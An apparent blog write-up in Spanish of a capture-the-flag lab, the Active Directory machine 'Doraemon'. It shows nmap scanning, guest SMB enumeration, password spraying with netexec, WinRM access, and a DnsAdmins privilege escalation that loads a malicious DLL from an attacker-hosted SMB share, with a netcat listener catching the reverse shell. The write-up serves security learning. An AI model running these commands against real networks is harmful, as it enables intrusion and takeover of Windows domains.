Doraemon - Active Directory CTF


Reconocimiento
Reconocimiento de Puertos
Como de costumbre comenzaremos realizando un primer reconocimiento de puertos con la herramienta nmap para ver que puertos abiertos tiene la máquina y comenzar con la enumeración pertinente.
nmap -p- -Pn -n -sCV --min-rate 5000 192.168.0.20 -oX puertos-doraemon
Esta vez en vez de exportar el archivo de salida de los puertos en formato "grepeable" lo exporto en formato xml para posteriormente convertirlo a formato html y así verlo de forma clara desde el navegador.
xsltproc puertos-doraemon > puertos-doraemon.html
Como podemos ver en las imágenes tenemos bastante información relevante:
Puerto 88 (Kerberos), puerto 139 (RPC), puerto 389 (ldap), puerto 445 (SMB), WinRM...
Encontramos el dominio doraemon.thl
Enumeración SMB
Como tenemos el servicio SMB podemos comenzar a enumerar un poco por ahí.
Para ello comenzaré utilizando la herramienta SMBMAP y así descubriremos los recursos compartidos existentes y si podemos acceder a ellos.
- Utilizaré el usuario guest o invitado.
Como podemos ver en la imagen hay un recurso compartido llamado gorrocoptero y es de lectura, por lo que podemos tratar de conectarnos y ver que hay en su interior.
Tenemos un archivo llamado kedadawapa.txt el cual abro para ver que contiene.
Podemos ver que es una conversación entre Doraemon, Nobita, Shizuka, Suneo y Gigante y además de eso tenemos lo que parece una contraseña, que es el nombre del grupo.
- Grupo especial Dorayaki1 de Estepona
Por lo que podríamos crear un diccionario de usuarios con los nombres de todos ellos y a través de netexec comprobar si la contraseña es válida con alguno de los usuarios en alguno de los servicios.
Tenemos credenciales para acceder por smb y comprobar si hubiera más recursos compartidos a los cuales poder acceder.
Pero aparentemente no hay nada nuevo... por lo que pruebo de nuevo con crackmapexec para revisar si esas credenciales me sirven para WinRM y ya ganar acceso a la máquina.
- Podemos acceder a la máquina vía WinRM con las credenciales Doraemon:Dorayaki1
Evil-WinRM
Una vez dentro de la máquina toca enumerar un poco para encontrar vectores de escalada, y para eso utilizo winpeas.
Tras lanzar winpeas encontré un archivo oculto en el directorio C:\Users\Doraemon\Links llamado Carta de Amor a Shizuka donde hay una contraseña.
- ShizukaTeAmobb12345
Podemos usar de nuevo netexec para descubrir si esa contraseña está asociada con alguno de los usuarios del diccionario que creamos anteriormente.
Podemos ver que la contraseña es del usuario Suneo y podemos conectarnos vía WinRM.
Escalada de Privilegios
Tras acceder con el usuario Suneo vuelvo a lanzar la utilidad winpeas para buscar vectores de escalada.
Pero no encuentro nada de utilidad por lo que enumero de forma manual.
Primero comienzo revisando que permisos tiene el usuario Suneo y a qué grupos pertenece, lo hago con el comando whoami /all
.
Puedo ver que el usuario Suneo se encuentra dentro del grupo DnsAdmins, lo cual me resulta algo extraño...
Tras buscar un poco de información llegué al siguiente artículo, donde explica como abusar de este grupo de Administradores DNS para escalar privilegios a través de la inyección de una dll maliciosa.
Escalada de Privilegios DNS-Admin
- Crearemos una dll maliciosa con msfvenom
- Abrimos un servidor SMB para poder subir posteriormente la dll maliciosa.
sudo ./smbserver.py elc4br4 .
- Nos ponemos en escucha en el puerto configurado, en mi caso el 4444 con netcat.
nc -lnvp 4444
- Por último, importamos la dll maliciosa desde la máquina víctima, paramos y arrancamos el servicio dns.
dnscmd.exe /config /serverlevelplugindll \\172.24.25.182\elc4br4\escalada.dll
sc.exe stop dns
sc.exe start dns
Y ya nos habremos convertido en el usuario nt authority\system
Subscribe to my newsletter
Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

elc4br4
elc4br4
Cybersecurity Student